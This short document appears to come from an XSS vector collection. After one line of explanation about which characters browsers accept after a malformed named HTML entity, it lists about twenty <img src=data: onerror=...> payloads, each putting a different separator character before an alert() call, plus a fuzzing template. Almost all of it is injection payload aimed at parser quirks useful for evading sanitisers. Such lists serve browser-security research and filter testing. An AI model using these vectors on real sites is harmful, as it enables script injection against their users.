This vector shows what characters are allowed after a malformed names entity.
<img src=data: onerror="1&$[chr]log($[i])"><img src=data: onerror="1&0x09alert(9)"><img src=data: onerror="1&
alert(10)"><img src=data: onerror="1&0x0Balert(11)"><img src=data: onerror="1&0x0Calert(12)"><img src=data: onerror="1&0x0Dalert(13)"><img src=data: onerror="1& alert(32)"><img src=data: onerror="1&!alert(33)"><img src=data: onerror="1&&alert(38)"><img src=data: onerror="1&+alert(43)"><img src=data: onerror="1&-alert(45)"><img src=data: onerror="1&alert(59)"><img src=data: onerror="1&~alert(126)"><img src=data: onerror="1& alert(160)"><img src=data: onerror="1& alert(5760)"><img src=data: onerror="1& alert(8192)"><img src=data: onerror="1& alert(8193)"><img src=data: onerror="1& alert(8194)"><img src=data: onerror="1& alert(8195)"><img src=data: onerror="1& alert(8196)"><img src=data: onerror="1& alert(8197)">